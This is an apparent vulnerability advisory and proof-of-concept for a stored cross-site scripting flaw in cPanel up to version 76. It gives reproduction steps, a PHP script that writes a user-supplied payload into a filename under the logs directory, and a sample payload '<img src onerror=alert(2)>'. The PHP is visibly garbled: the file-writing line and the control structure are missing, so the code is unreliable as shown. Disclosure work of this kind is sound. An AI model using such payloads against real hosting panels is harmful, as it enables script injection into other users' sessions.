[+] Title: cPanel Filename Based Stored XSS <= v76
[+] Author: Numan OZDEMIR
[+] Vendor Homepage: cpanel.com
[+] Version: Up to v76.
[+] Discovered by Numan OZDEMIR in InfinitumIT Labs
[+] email@example.com - firstname.lastname@example.org
[~] How to Reproduce:
Create a file as named with your payload in /home/user/logs directory
or run this php exploit:
$p = $_POST['payload'];
$x = get_current_user();
$dir = "/home/".$x."/logs/";
Successfully exploited. Visit <br>
die('An error occured.');
echo 'Enter your payload:
<form action="" method="post"><input type="text" name="payload" placeholder="<img src onerror=alert(2)>">
<input type="submit" value=">>"></form>';
// end of the script.
Note: You cant create a file as named with / (slash) character by this exploit.
This vulnerability is disclosed by cPanel Team's confirmation.
// for secure days...